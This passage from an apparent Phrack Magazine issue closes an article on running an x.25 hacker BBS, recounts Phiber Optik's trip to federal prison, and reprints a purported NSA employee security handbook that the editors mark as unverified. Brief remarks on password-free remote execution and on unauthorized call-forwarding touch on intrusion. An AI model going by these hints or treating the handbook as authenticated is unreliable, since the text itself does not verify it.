You will also notice that, if you are a paying x.25 user (aren't you all :‑) and get your bills, connection time is really cheap; up to 70 times cheaper than long distance phone charges. What counts are the transmitted bytes, no matter how fast you are! You easily pay $30 for transferring 1 MB.

But what else do you need after you got your x.25 link?

You need a PC (which doesn't have to be fast; I was using a 386sx for quite some time. In fact, my new 486/40 board is 'too fast' for my old x.25 8 bit adaptor :). It might also be interesting to run it on a Sun or HP workstation; but the x.25 cards for those machines are rather expensive.

Then you need a good operating system. Don't even think of running DOS. You want to have a multi‑user multi‑tasking system after all, don't you? So your choice is UNIX. Systems with pretty good x.25 solutions are Interactive and SCO Unix. They are both old fashioned System V / 386's, but are running safely, hardly ever crash and are popular in the commercial world. I chose Interactive.

How do you connect your PC to the x.25 line?

Good guess. Yes, you need an adaptor card. I got an EICON/PC card. EICON cards are probably the best supported and most common x.25 cards ‑ they are made in Canada. However, they aren't cheap. Usually they are around $1000, if you are lucky you could get a used one for $600. You might get a cheaper x.25 adaptor, but check in advance if the software you want to use supports that adaptor. There is no real standard concerning x.25 cards!

Anything else you need?

Yes, the most important thing ‑ the software. UNIX doesn't come with x.25 drivers. However, there is a really good x.25 solution available from netCS Software in Berlin, Germany. (The company was co‑founded by "Pengo" Hans H. Send them mail to postmaster@netcs.com for info.)

IV. Features

================

This software, and x.25 in general, has a few nice features. If you receive an x.25 call from somewhere, the NUA ("Network User Address") of the caller is being transmitted to you. This works pretty much like Caller‑ID, with the exception that the caller can't prevent it from being transmitted, and he usually can't fake the address he is calling from. Of course he can call through a couple of systems, and you would just see the NUA of the last system he calls you from.

This feature can easily be used to accept or reject calls from certain NUAs/systems or whole countries. Many systems like banks just allow certain NUAs to call them, just the ones that they know.

You could also give different access to different people: people from country A may login to your system, country B may just write you a mail, all other countries are forced into chat and the NUA of CERT is being rejected and received a "nice" goodbye message.

Of course you will also keep a logfile (and 99% of the systems you call will have a logfile with YOUR call and the calls you might place using its pad). This logfile usually contains the NUA that calls you (or that is being called), the programs that are being executed, the userid of the caller, duration, reason for termination and more.

Another interesting feature is the 'Call User Data' (CUD). The caller may transmit up to 16 bytes (default is 4 bytes) to your host before he establishes an x.25 connection. In these bytes he may send you a Service Request. The default CUD is 01/00/00/00 and means 'interactive login'. You may define any CUD you want and just accept calls that use that certain CUD ‑ it would work like a system password then. Many systems may also have a service request that allows the caller to execute commands on that host remotely, without supplying any additional password (be aware of this!)

For more technical information about x.25 read one of the articles in the previous issues of Phrack. I am glad that Phrack is still covering x.25 with plenty of interesting articles after all these years!

IV. Chosing the BBS Software

================================

Okay. Now we decided to choose UNIX as operating system. Of course, you could give all your users shell access, create a guest account with limited shell access and a chat account that kicks you just into chat. That's what I used to do first. But since we want to run an open system and give accounts to many hackers, it might be a scary vision that all of them have shell access and try to hack your system.

This is the point when you are looking for a BBS software for UNIX. There aren't too many free BBSes for UNIX around, most of them cost some hundred dollars (check out the latest Boardwatch issue for more information).

However, I found a pretty decent BBS software called 'Uniboard'. It runs fine on most System V's including Interactive and SCO; versions for Sun OS and Linux are available too. It offers you a nice colorful (you may turn it to black & white) menu driven interface. You have to have C‑News and sendmail installed and running. Instead of sendmail I use smail, which is bug‑free, much easier to install and offers at least the same features. C‑News though isn't that easy to install and takes quite some time and document reading. But these packages are used by Uniboard for messages (news) and email. This is pretty nice, because you can just exchange mail with everyone on the Internet. You can also read your favorite newsgroups in Uniboard like alt.sex.bondage and post to local groups. The filebase is designed okay, but it doesn't feature the concept of ratios yet. (You just get one byte download ability for each byte you upload!). Rick, the author, promised me to put it into the next version though. The biggest drawback is that you will just get the binary, no sources available, so you can't put in all the features you would like. For more information send email to the author Rick in Italy at pizzi@nervous.com.

He will give you a free demo key that works for a few weeks, if you ask him. Afterwards you could get a key for $40 and more, depending how many users you want to have.

V. How to get more users

=============================

You may think: Okay, fine. But not everybody has x.25 access, though (almost) everybody has Internet access. How could these people call me? Well, the solution isn't easy. I was told though that someone installed an Internet site that would forward the call through an x.25 PAD to my system. Of course, the system administrator of that Internet site found out after a while and installed the following banner (he obviously has a sense of humor :) ‑ someone sent me this log:

telnet> open pythia.csi.forth.gr 2600

Trying 139.91.1.1 ...

Connected to pythia.csi.forth.gr.

Escape character is '^]'.

Welcome to Sectec Direct. Please hold the line. :) Calling...connected...

MUniBoard v. 1.12

400 users Runtime System S/N 345968791

Licensed for single machine use to Seven Down on sectec Unauthorized duplication allowed

Loading..

__________________________

/~ .~ / _ . ~/~ _ . |~ _

// ____/_ |_\__/. | \__|. |_

/____ ~/ _|__|| | __|:

// . //: |_/. \: |_/. || |\

/_____ /|________\______|__|

____________________________________

\~ _ _ ~/ _ . ~/ _ .\~ _ _ ~/

\/ | | \/ |_\__/ | \__\/ | | \/ /

|| | || _|__| | __ || | \\ \

|: | |: |_/. \ |_/. \ |: | \

|__| |________\______\ |__| \_

Dear fellow hacker,

Please use YOUR telephone to make long distance calls

Using other's systems over the Internet is just NOT fair

let alone that is ILLEGAL. Anyway, your hosts computer names/IP addresses and location, as well as accurate logs of most of your recent/6 months unauthorized calls are in file and might be used against you in court. Legal service courtesy of FIRST/CERT

sorry if we ruined your day...

Connection closed by foreign host.

V. Modem Ports

===================

Also, every board on x.25 should have a direct modem dialup (and I guess every board does! The dialup for Lutzifer wasn't public, but it had one!) You need to have a modem at least for uucp polling of news and mail. If you are running UNIX, you don't need one of those really expensive 'intelligent' cards like DigiBoard for $1000. But make sure you have a 16550 chip on your I/O controller or you won't be happy. A pretty good deal are AST compatible cards with 4 ports. You can get them for $60 if you are lucky. They just use one IRQ for all 4 ports and let you select the IRQ and the base addresses. This is pretty convenient, because it is even more likely to get an IRQ conflict under UNIX than under DOS. Try to get a card with 16550's on it, or one that has sockets that let you replace the old 16450's or whatever with 16550's, without playing with your soldering iron. If you buy 16550's, try to get the original NS (National Semiconductor) ones: NS16550AFN; Texas Instrument's aren't as good.

Then you should get a good serial port driver like the excellent FAS 2.10. It is quite flexible with default drivers for AST compatible and standard I/O cards, supports speeds up to 115,200 bps, and supports both incoming and outgoing calls on the same line very well. It only works with System V though.

I can't help smiling when people tell me about their ElEeT WaR3Z boards running on DOS and Novell with a separate PC for each node. With the configuration mentioned above, you can easily have 4 or 8 high speed modems with a host speed of 57.600 connected to a single 386 PC and no performance loss.

Email me for information or accounts, or just send me love letters :) sec@g386bsd.first.gmd.de.

No Time for Goodbyes

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 9 of 28

****************************************

No Time For Goodbyes

Phiber Optik's Journey to Prison

by Emmanuel Goldstein

It was almost like looking forward to something. That's the feeling we all had as we started out on Thursday evening, January 6th ‑ one day before Phiber Optik (hereafter called Mark) was to report to federal prison in Schuylkill, Pennsylvania for his undefined part in an undefined conspiracy. We were all hackers of one sort or another and this trip to a prison was actually a sort of adventure for us. We knew Mark's curiosity had been piqued as well, though not to the point of outweighing the dread of the unknown and the emotional drain of losing a year of life with friends, family, and technology.

There were five of us who would take the trip down to Philadelphia in a car meant for four ‑ myself, Mark, Walter, Roman, and Rob. The plan was to meet up with 2600 people in Philadelphia on Thursday, drive out to Schuylkill and drop Mark off on Friday, drive back and go to the Philadelphia 2600 meeting, and return later that evening. It sure sounded better than sending him away on a prison bus.

Knocking on the door of his family's house in Queens that frigid night, a very weird feeling came over me. How many times had I stood there before to take Mark to a conference, a hacker meeting, a radio show, whatever. Today I was there to separate him from everything he knew. I felt like I had somehow become part of the process, that I was an agent of the government sent there to finish the dirty work that they had begun. It doesn't take a whole lot to join the gestapo, I realized.

I talked to Mark's father for the very first time that night. I had chatted with his mother on a number of occasions but never his father before then. He was putting on as brave a front as he could, looking at any glimmer of optimism as the shape reality would take. The prison wouldn't be that bad, he would be treated like a human being, they'd try to visit on the weekends, and anything else that could help make this seem like an extended vacation. As long as he learns to keep his mouth shut and not annoy anyone, he'll be all right. Of course, we both knew full well that Mark's forthright approach *always* managed to annoy somebody, albeit usually only until they got to know him a little. Imagining Mark fading into the background just wasn't something we could do.

Everything in Mark's room was neatly arranged and ready to greet him upon his return ‑ his computer, manuals, a videotape of "Monty Python and the Holy Grail" with extra footage that a friend had sent him (I convinced him to let me borrow it), a first edition of "Hackers" that Steven Levy had just given him, and tons of other items that could keep anyone occupied for hours. In fact, he was occupied when I got there ‑ he and Walter were trying to solve a terminal emulation problem. My gestapo duties forced me to get him going. It was getting late and we had to be in Philadelphia at a reasonable time, especially since it was supposed to start snowing at any moment. And so, the final goodbyes were said ‑ Mark's mother was especially worried that he might forget part of his medication or that they'd have difficulty getting him refills. (In fact, everyone involved in his case couldn't understand why Mark's serious health problems had never been mentioned during the whole ordeal or considered during sentencing.) The rest of us waited in the car so he could have some final moments of privacy ‑ and also so we wouldn't have to pretend to smile while watching a family being pulled apart in front of us, all in the name of sending a message to other hackers.

Our drive was like almost any other. We talked about the previous night's radio show, argued about software, discussed nuances of Star Trek, and managed to get lost before we even left New York. (Somehow we couldn't figure out how the BQE southbound connected with the Verrazano Bridge which led to an extended stay in Brooklyn.) We talked about ECHO, the system that Mark has been working on over the past year and how, since Wednesday, a couple of dozen users had changed their last names to Optik as a tribute. It meant a lot to him.

When you're in a car with five hackers, there's rarely any quiet moments and the time goes by pretty quickly. So we arrived in Philadelphia and (after getting lost again) found our way to South Street and Jim's Cheesesteaks, a place I had always wanted to take Mark to, since he has such an affinity to red meat. Jim's is one of my favorite places in the world and we soon became very comfortable there. We met up with Bernie S. and some of the other Philadelphia hackers and had a great time playing with laptops and scanners while eating cheesesteaks. The people at Jim's were fascinated by us and asked all kinds of questions about computers and things. We've had so many gatherings like this in the past, but it was pretty cool to just pull into a strange city and have it happen again. The karma was good.

We wound up back at Bernie S.'s house where we exchanged theories and experiences of our various cable and phone companies, played around with scanners, and just tried to act like everything was as normal as ever. We also went to an all‑night supermarket to find Pennsylvania things: TastyKakes, Pennsylvania Dutch pretzels, and pickles that we found out were really from Brooklyn. We managed to confuse the hell out of the bar code reader by passing a copy of 2600 over it ‑ the system hung for at least a minute!

It was around five in the morning when one of us finally asked the question: "Just when exactly does Mark have to be at this prison?" We decided to call them right then and there to find out. The person answering the phone was nice enough ‑ she said he had until 11:59 pm before he was considered a fugitive. This was very good news ‑ it meant a few more hours of freedom and Mark was happy that he'd get to go to the Philadelphia meeting after all. As we drifted off to sleep with the sun rising, we tried to outdo each other with trivial information about foreign countries. Mark was particularly good with obscure African nations of years past while I was the only one who knew what had become of Burma. All told, not a bad last day.

Prison Day arrived and we all got up at the same moment (2:03 pm) because Bernie S. sounded an airhorn in the living room. Crude, but effective.

As we recharged ourselves, it quickly became apparent that this was a very bizarre day. During the overnight, the entire region had been paralyzed by a freak ice storm ‑ something I hadn't seen in 16 years and most of the rest of us had never experienced. We turned on the TV ‑ interstates were closed, power was failing, cars were moving sideways, people were falling down.... This was definitely cool. But what about Mark? How could we get him to prison with roads closed and treacherous conditions everywhere? His prison was about two hours away in the direction of wilderness and mining towns. If the city was paralyzed, the sticks must be amputated entirely!

So we called the prison again. Bernie S. did the talking, as he had done the night before. This time, he wound up getting transferred a couple of times. They weren't able to find Mark's name anywhere. But that good fortune didn't last ‑ "Oh yeah, I know who you're talking about," the person on the phone said. Bernie explained the situation to them and said that the State Troopers were telling people not to travel. So what were we to do? "Well," the friendly‑sounding voice on the other end said, "just get here when you can get here." We were overjoyed. Yet more freedom for Mark all because of a freak of nature! I told Bernie that he had already been more successful than Mark's lawyer in keeping him out of prison.

We spent the afternoon getting ready for the meeting, watching The Weather Channel, and consuming tea and TastyKakes in front of a roaring fire. At one point we turned to a channel that was hawking computer education videos for kids. "These children," the fake schoolteacher was saying with equally fake enthusiasm, "are going to be at such an advantage because they're taking an early interest in computers." "Yeah," we heard Mark say with feigned glee from another room, "they may get to experience *prison* for a year!"

It took about 45 minutes to get all of the ice off our cars. Negotiating hills and corners became a matter of great concern. But we made it to the meeting, which took place in the middle of 30th Street Station, where all of the Amtrak trains were two and a half hours late. Because of the weather, attendance was less than usual but the people that showed up were enthusiastic and glad to meet Phiber Optik as he passed by on his way up the river.

After the meeting we found a huge tunnel system to explore, complete with steampipes and "Poseidon Adventure" rooms. Everywhere we went, there were corridors leading to new mysteries and strange sights. It was amazing to think that the moment when everybody figured Mark would be in prison, here he was with us wandering around in the bowels of a strange city. The karma was great.

But then the real fun began. We decided to head back to South Street to find slow food ‑ in fact, what would probably be Mark's last genuine meal. But Philadelphia was not like New York. When the city is paralyzed, it really is paralyzed. Stores close and people stay home, even on a Friday night. We wanted to take him to a Thai place but both of the ones we knew of were closed. We embarked on a lengthy search by foot for an open food place. The sidewalks and the streets were completely encased in ice. Like drunken sailors in slow motion, we all staggered down the narrow streets, no longer so much concerned with food, but just content to remain upright. People, even dogs, were slipping and falling all around us. We did our best to maintain dignity but hysterical laughter soon took over because the situation was too absurd to believe. Here we were in a strange city, unable to stand upright in a veritable ice palace, trying to figure out a way to get one of our own into a prison. I knew it was going to be a strange trip but this could easily beat any drug.

We ate like kings in a Greek place somewhere for a couple of hours, then walked and crawled back to the cars. The plan now was to take Mark to prison on Saturday when hopefully the roads would be passable. Actually, we were all hoping this would go on for a while longer but we knew it had to end at some point. So, after a stop at an all‑night supermarket that had no power and was forced to ring up everything by hand, we made it back to Bernie's for what would really be Mark's last free night. It was well after midnight and Mark was now officially late for prison. (Mark has a reputation for being late to things but at least this time the elements could take the blame.) We wound up watching the "Holy Grail" videotape until it was practically light again. One of the last things I remember was hearing Mark say how he wanted to sleep as little as possible so he could be awake and free longer.

We left Bernie's late Saturday afternoon. It was sad because the aura had been so positive and now it was definitely ending. We were leaving the warmth of a house with a fireplace and a conversation pit, journeying into the wild and the darkness with wind chill factors well below zero. And this time, we weren't coming back.

We took two cars ‑ Bernie and Rob in one; me, Mark, Walter, and Roman in the other. We kept in touch with two way radios which was a very good idea considering the number of wrong turns we always manage to make. We passed through darkened towns and alien landscapes, keeping track of the number of places left to go through. We found a convenience store that had six foot tall beef jerky and Camel Light Wides. Since Mark smokes Camel Lights (he had managed to quit but all of the stress of the past year has gotten him right back into it), and since he had never heard of the wide version, I figured he'd like to compare the two, so I bought him a pack. I never buy cigarettes for anyone because I can't stand them and I think they're death sticks but in this case I knew they'd be therapeutic. As we stood out there in the single digits ‑ him with his Wides, me with my iced tea ‑ he said he could definitely feel more smoke per inch. And, for some reason, I was glad to hear it.

Minersville was our final destination but we had one more town to pass through ‑ Frackville. Yeah, no shit. It was the final dose of that magical karma we needed. As we looked down the streets of this tiny town, we tried to find a sign that maybe we could take a picture of, since nobody would ever believe us. We pulled up to a convenience store as two cops were going in. And that's when we realized what we had been sent there to do.

Bernie S. went in to talk to the cops and when he came out, he had convinced them to pose with Mark in front of their squad car. (It didn't really take much convincing ‑ they were amazed that anyone would care.) So, if the pictures come out, you can expect to see a shot of Phiber Optik being "arrested" by the Frackville police, all with big smiles on their faces. Frackville, incidentally, has a population of about 5,000 which I'm told is about the distribution of Phrack Magazine. Kinda cosmic.

So now there was nothing left to do. We couldn't even get lost the prison was straight ahead of us. Our long journey was about to come to a close. But it had been incredible from the start; there was no reason to believe the magic would end here. The prison people would be friendly, maybe we'd chat with them for a while. They'd make hot chocolate. All right, maybe not. But everybody would part on good terms. We'd all give Mark a hug. Our sadness would be countered by hope.

The compound was huge and brightly lit. We drove through it for miles before reaching the administration building. We assumed this was where Mark should check in so we parked the cars there and took a couple of final videos from our camcorder. Mark was nervous but he was still Mark. "I think the message is 'come here in the summer,'" he said to the camera as we shivered uncontrollably in the biting freeze.

As we got to the door of the administration building, we found it to be locked. We started looking for side doors or any other way to get in. "There's not a record of people breaking *into* prison," Bernie wondered out loud. It was still more craziness. Could they actually be closed?

I drove down the road to another building and a dead end. Bernie called the prison from his cellular phone. He told them he was in front of the administration building and he wanted to check somebody in. They were very confused and said there was no way he could be there. He insisted he was and told them he was in his car. "You have a *car* phone?" they asked in amazement. When the dust settled, they said to come down to the building at the end of the road where I was already parked. We waited around for a couple of minutes until we saw some movement inside. Then we all got out and started the final steps of our trip.

I was the first one to get to the door. A middle‑aged bespectacled guy was there. I said hi to him but he said nothing and fixed his gaze on the five other people behind me.

"All right, who's from the immediate family?"

"None of us are immediate family. We're just‑‑"

"Who's the individual reporting in?"

"I'm the individual reporting in," Mark said quietly.

"The only one I need is just him."

The guard asked Mark if he had anything on him worth more than $100. Mark said he didn't. The guard turned to us.

"All right, gentlemen. He's ours. Y'all can depart."

They pulled him inside and he was gone. No time for goodbyes from any of us ‑ it happened that fast. It wasn't supposed to have been like this; there was so much to convey in those final moments. Mark, we're with you... Hang in there... We'll come and visit.... Just a fucking goodbye for God's sake.

It caught us all totally off guard. They were treating him like a maximum security inmate. And they treated us like we were nothing, like we hadn't been through this whole thing together, like we hadn't just embarked on this crazy adventure for the last few days. The karma was gone.

From behind the door, a hooded figure appeared holding handcuffs. He looked through the glass at us as we were turning to leave. Suddenly, he opened the outer door and pointed to our camera. "You can't be videotaping the prison here," he said. "All right," I replied, being the closest one to him and the last to start back to the cars. As I turned away, he came forward and said, "We gotta have that film." "But we didn't take any pictures of the prison!" I objected. "We gotta take it anyway," he insisted.

We all knew what to do. Giving up the tape would mean losing all recordings of Mark's last days of freedom. The meeting in Philadelphia, slipping down the icy streets, hanging out in Bernie's house, Frackville.... No way. No fucking way.

Roman, who had been our cameraman throughout, carefully passed off the camera to Bernie, who quickly got to the front of the group. I stayed behind to continue insisting that we hadn't filmed any part of their precious prison. I didn't even get into the fact that there are no signs up anywhere saying this and that it appeared to me that he was imposing this rule just to be a prick. Not that I would have, since Mark was somewhere inside that building and anything we did could have repercussions for him. Fortunately, the hooded guard appeared to conclude that even if he was able to grab our camera, he'd probably never find the tape. And he never would have.

The hooded guard stepped back inside and we went on our way. If it had been dark and cold before, now it was especially so. And we all felt the emptiness that had replaced Mark, who had been an active part of our conversations only a couple of minutes earlier. We fully expected to be stopped or chased at any moment for the "trouble" we had caused. It was a long ride out of the compound.

We headed for the nearest major town: Pottsville. There, we went to the only 24 hour anything in miles, a breakfast/burger joint called Coney Island of all things. We just kind of sat there for awhile, not really knowing what to say and feeling like real solid shit. Roman took out the camcorder and started looking through the view screen. "We got it," he said. "We got it all."

Looking at the tape, the things that really hit me hard are the happy things. Seeing the cops of Frackville posing and laughing with Mark, only a few minutes before that ugly episode, puts a feeling of lead in my stomach. I'm just glad we gave him a hell of a sendoff; memories of it will give him strength to get through this.

What sticks with me the most is the way Mark never changed, right up to the end. He kept his incredible sense of humor, his caustic wit, his curiosity and sense of adventure. And he never stopped being a hacker in the true sense. What would a year of this environment do to such a person?

Our long ride back to New York was pretty quiet for the most part. Occasionally we'd talk about what happened and then we'd be alone with our thoughts. My thoughts are disturbing. I know what I saw was wrong. I know one day we'll realize this was a horrible thing to do to somebody in the prime of life. I don't doubt any of that. What I worry about is what the cost will be. What will happen to these bright, enthusiastic, and courageous people I've come to know and love? How many of us will give up and become embittered shells of the full individuals we started out as? Already, I've caught myself muttering aloud several times, something new for me.

Mark was not the only one, not by far. But he was a symbol ‑ even the judge told him that at the sentencing. And a message was sent, as our system of justice is so fond of doing. But this time another message was sent ‑ this one from Mark, his friends, and the scores of other hackers who spoke up. Everybody knew this wasn't right. All through this emotional sinkhole, our tears come from sadness and from anger. And, to quote the Clash, "Anger can be power." Now we just have to learn to use it.

Mark Abene #32109‑054

FPC, Schuylkill

Unit 1

PO Box 670

Minersville, PA 17954‑0670

[Letters, paperback books, and photos are acceptable. Virtually nothing else is. And remember that everything will be looked at

Security Guidelines

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 10 of 28

****************************************

[NOTE: This file was retyped from an anonymous photocopied submission. The authenticity of it was not verified.]

Security Guidelines

This handbook is designed to introduce you to some of the basic security principles and procedures with which all NSA employees must comply. It highlights some of your security responsibilities, and provides guidelines for answering questions you may be asked concerning your association with this Agency. Although you will be busy during the forthcoming weeks learning your job, meeting co‑workers, and becoming accustomed to a new work environment, you are urged to become familiar with the security information contained in this handbook. Please note that a listing of telephone numbers is provided at the end of this handbook should you have any questions or concerns.

Introduction

In joining NSA you have been given an opportunity to participate in the activities of one of the most important intelligence organizations of the United States Government. At the same time, you have also assumed a trust which carries with it a most important individual responsibility‑‑the safeguarding of sensitive information vital to the security of our nation.

While it is impossible to estimate in actual dollars and cents the value of the work being conducted by this Agency, the information to which you will have access at NSA is without question critically important to the defense of the United States. Since this information may be useful only if it is kept secret, it requires a very special measure of protection. The specific nature of this protection is set forth in various Agency security regulations and directives. The total NSA Security Program, however, extends beyond these regulations. It is based upon the concept that security begins as a state of mind. The program is designed to develop an appreciation of the need to protect information vital to the national defense, and to foster the development of a level of awareness which will make security more than routine compliance with regulations.

At times, security practices and procedures cause personal inconvenience. They take time and effort and on occasion may make it necessary for you to voluntarily forego some of your usual personal perogatives. But your compensation for the inconvenience is the knowledge that the work you are accomplishing at NSA, within a framework of sound security practices, contributes significantly to the defense and continued security of the United States of America.

I extend to you my very best wishes as you enter upon your chosen career or assignment with NSA.

Philip T. Pease

Director of Security

INITIAL SECURITY RESPONSIBILITIES

Anonymity

Perhaps one of the first security practices with which new NSA personnel should become acquainted is the practice of anonymity. In an open society such as ours, this practice is necessary because information which is generally available to the public is available also to hostile intelligence. Therefore, the Agency mission is best accomplished apart from public attention. Basically, anonymity means that NSA personnel are encouraged not to draw attention to themselves nor to their association with this Agency. NSA personnel are also cautioned neither to confirm nor deny any specific questions about NSA activities directed to them by individuals not affiliated with the Agency.

The ramifications of the practice of anonymity are rather far reaching, and its success depends on the cooperation of all Agency personnel. Described below you will find some examples of situations that you may encounter concerning your employment and how you should cope with them. Beyond the situations cited, your judgement and discretion will become the deciding factors in how you respond to questions about your employment.

Answering Questions About Your Employment

Certainly, you may tell your family and friends that you are employed at or assigned to the National Security Agency. There is no valid reason to deny them this information. However, you may not disclose to them any information concerning specific aspects of the Agency's mission, activities, and organization. You should also ask them not to publicize your association with NSA.

Should strangers or casual acquaintances question you about your place of employment, an appropriate reply would be that you work for the Department of Defense. If questioned further as to where you are employed within the Department of Defense, you may reply, "NSA." When you inform someone that you work for NSA (or the Department of Defense) you may expect that the next question will be, "What do you do?" It is a good idea to anticipate this question and to formulate an appropriate answer. Do not act mysteriously about your employment, as that would only succeed in drawing more attention to yourself.

If you are employed as a secretary, engineer, computer scientist, or in a clerical, administrative, technical, or other capacity identifiable by a general title which in no way indicates how your talents are being applied to the mission of the Agency, it is suggested that you state this general title. If you are employed as a linguist, you may say that you are a linguist, if necessary. However, you should not indicate the specific language(s) with which you are involved.

The use of service specialty titles which tend to suggest or reveal the nature of the Agency's mission or specific aspects of their work. These professional titles, such as cryptanalyst, signals collection officer, and intelligence research analyst, if given verbatim to an outsider, would likely generate further questions which may touch upon the classified aspects of your work. Therefore, in conversation with outsiders, it is suggested that such job titles be generalized. For example, you might indicate that you are a "research analyst." You may not, however, discuss the specific nature of your analytic work.

Answering Questions About Your Agency Training

During your career or assignment at NSA, there is a good chance that you will receive some type of job‑related training. In many instances the nature of the training is not classified. However, in some situations the specialized training you receive will relate directly to sensitive Agency functions. In such cases, the nature of this training may not be discussed with persons outside of this Agency.

If your training at the Agency includes language training, your explanation for the source of your linguistic knowledge should be that you obtained it while working for the Department of Defense.

You Should not draw undue attention to your language abilities, and you may not discuss how you apply your language skill at the Agency.

If you are considering part‑time employment which requires the use of language or technical skills similar to those required for the performance of your NSA assigned duties, you must report (in advance) the anticipated part‑time work through your Staff Security Officer (SSO) to the Office of Security's Clearance Division (M55).

Verifying Your Employment

On occasion, personnel must provide information concerning their employment to credit institutions in connection with various types of applications for credit. In such situations you may state, if you are a civilian employee, that you are employed by NSA and indicate your pay grade or salary. Once again, generalize your job title. If any further information is desired by persons or firms with whom you may be dealing, instruct them to request such information by correspondence addressed to: Director of Civilian Personnel, National Security Agency, Fort George G. Meade, Maryland 20755‑6000. Military personnel should use their support group designator and address when indicating their current assignment.

If you contemplate leaving NSA for employment elsewhere, you may be required to submit a resume/job application, or to participate in extensive employment interviews. In such circumstances, you should have your resume reviewed by the Classification Advisory Officer (CAO) assigned to your organization. Your CAO will ensure that any classified operational details of your duties have been excluded and will provide you with an unclassified job description. Should you leave the Agency before preparing such a resume, you may develop one and send it by registered mail to the NSA/CSS Information Policy Division (Q43) for review. Remember, your obligation to protect sensitive Agency information extends beyond your employment at NSA.

The Agency And Public News Media

From time to time you may find that the agency is the topic of reports or articles appearing in public news media‑‑newspapers, magazines, books, radio and TV. The NSA/CSS Information Policy Division (Q43) represents the Agency in matters involving the press and other media. This office serves at the Agency's official media center and is the Director's liaison office for public relations, both in the community and with other government agencies. The Information Policy Division must approve the release of all information for and about NSA, its mission, activities, and personnel. In order to protect the aspects of Agency operations, NSA personnel must refrain from either confirming or denying any information concerning the Agency or its activities which may appear in the public media. If you are asked about the activities of NSA, the best response is "no comment." You should the notify Q43 of the attempted inquiry. For the most part, public references to NSA are based upon educated guesses. The Agency does not normally make a practice of issuing public statements about its activities.

GENERAL RESPONSIBILITIES

Espionage And Terrorism

During your security indoctrination and throughout your NSA career you will become increasingly aware of the espionage and terrorist threat to the United States. Your vigilance is the best single defense in protecting NSA information, operations, facilities and people. Any information that comes to your attention that suggests to you the existence of, or potential for, espionage or terrorism against the U.S. or its allies must be promptly reported by you to the Office of Security.

There should be no doubt in your mind about the reality of the threats. You are now affiliated with the most sensitive agency in government and are expected to exercise vigilance and common sense to protect NSA against these threats.

Classification

Originators of correspondence, communications, equipment, or documents within the Agency are responsible for ensuring that the proper classification, downgrading information and, when appropriate, proper caveat notations are assigned to such material. (This includes any handwritten notes which contain classified information). The three levels of classification are Confidential, Secret and Top Secret. The NSA Classification Manual should be used as guidance in determining proper classification. If after review of this document you need assistance, contact the Classification Advisory Officer (CAO) assigned to your organization, or the Information Policy Division (Q43).

Need‑To‑Know

Classified information is disseminated only on a strict "need‑to‑know" basis. The "need‑to‑know" policy means that classified information will be disseminated only to those individuals who, in addition to possessing a proper clearance, have a requirement to know this information in order to perform their official duties (need‑to‑know). No person is entitled to classified information solely by virtue of office, position, rank, or security clearance.

All NSA personnel have the responsibility to assert the "need‑to‑know" policy as part of their responsibility to protect sensitive information. Determination of "need‑to‑know" is a supervisory responsibility. This means that if there is any doubt in your mind as to an individual's "need‑to‑know," you should always check with your supervisor before releasing any classified material under your control.

For Official Use Only

Separate from classified information is information or material marked "FOR OFFICIAL USE ONLY" (such as this handbook). This designation is used to identify that official information or material which, although unclassified, is exempt from the requirement for public disclosure of information concerning government activities and which, for a significant reason, should not be given general circulation. Each holder of "FOR OFFICAL USE ONLY" (FOUO) information or material is authorized to disclose such information or material to persons in other departments or agencies of the Executive and Judicial branches when it is determined that the information or material is required to carry our a government function. The recipient must be advised that the information or material is not to be disclosed to the general public. Material which bears the "FOR OFFICIAL USE ONLY" caveat does not come under the regulations governing the protection of classified information. The unauthorized disclosure of information marked "FOR OFFICIAL USE ONLY" does not constitute an unauthorized disclosure of classified defense information. However, Department of Defense and NSA regulations prohibit the unauthorized disclosure of information designated "FOR OFFICIAL USE ONLY." Appropriate administrative action will be taken to determine responsibility and to apply corrective and/or disciplinary measures in cases of unauthorized disclosure of information which bears the "FOR OFFICIAL USE ONLY" caveat. Reasonable care must be exercised in limiting the dissemination of "FOR OFFICIAL USE ONLY" information. While you may take this handbook home for further study, remember that is does contain "FOR OFFICIAL USE ONLY" information which should be protected.

Prepublication Review

All NSA personnel (employees, military assignees, and contractors) must submit for review any planned articles, books, speeches, resumes, or public statements that may contain classified, classifiable, NSA‑derived, or unclassified protected information, e.g., information relating to the organization, mission, functions, or activities of NSA. Your obligation to protect this sensitive information is a lifetime one. Even when you resign, retire, or otherwise end your affiliation with NSA, you must submit this type of material for prepublication review. For additional details, contact the Information Policy Division (Q43) for an explanation of prepublication review procedures.

Personnel Security Responsibilities

Perhaps you an recall your initial impression upon entering an NSA facility. Like most people, you probably noticed the elaborate physical security safeguards‑‑fences, concrete barriers, Security Protective Officers, identification badges, etc. While these measures provide a substantial degree of protection for the information housed within our buildings, they represent only a portion of the overall Agency security program. In fact, vast amounts of information leave our facilities daily in the minds of NSA personnel, and this is where our greatest vulnerability lies. Experience has indicated that because of the vital information we work with at NSA, Agency personnel may become potential targets for hostile intelligence efforts. Special safeguards are therefore necessary to protect our personnel.

Accordingly, the Agency has an extensive personnel security program which establishes internal policies and guidelines governing employee conduct and activities. These policies cover a variety of topics, all of which are designed to protect both you and the sensitive information you will gain through your work at NSA.

Association With Foreign Nationals

As a member of the U.S. Intelligence Community and by virtue of your access to sensitive information, you are a potential target for hostile intelligence activities carried out by or on behalf of citizens of foreign countries. A policy concerning association with foreign nationals has been established by the Agency to minimize the likelihood that its personnel might become subject to undue influence or duress or targets of hostile activities through foreign relationships.

As an NSA affiliate, you are prohibited from initiating or maintaining associations (regardless of the nature and degree) with citizens or officials of communist‑controlled, or other countries which pose a significant threat to the security of the United States and its interests. A comprehensive list of these designated countries is available from your Staff Security Officer or the Security Awareness Division. Any contact with citizens of these countries, no matter how brief or seemingly innocuous, must be reported as soon as possible to your Staff Security Officer (SSO). (Individuals designated as Staff Security Officers are assigned to every organization; a listing of Staff Security Officers can be found at the back of this handbook).

Additionally, close and continuing associations with any non‑U.S. citizens which are characterized by ties of kinship, obligation, or affection are prohibited. A waiver to this policy may be granted only under the most exceptional circumstances when there is a truly compelling need for an individual's services or skills and the security risk is negligible.

In particular, a waiver must be granted in advance of a marriage to or cohabitation with a foreign national in order to retain one's access to NSA information. Accordingly, any intent to cohabitate with or marry a non‑U.S. citizen must be reported immediately to your Staff Security Officer. If a waiver is granted, future reassignments both at headquarters and overseas may be affected.

The marriage or intended marriage of an immediate family member (parents, siblings, children) to a foreign national must also be reported through your SSO to the Clearance Division (M55).

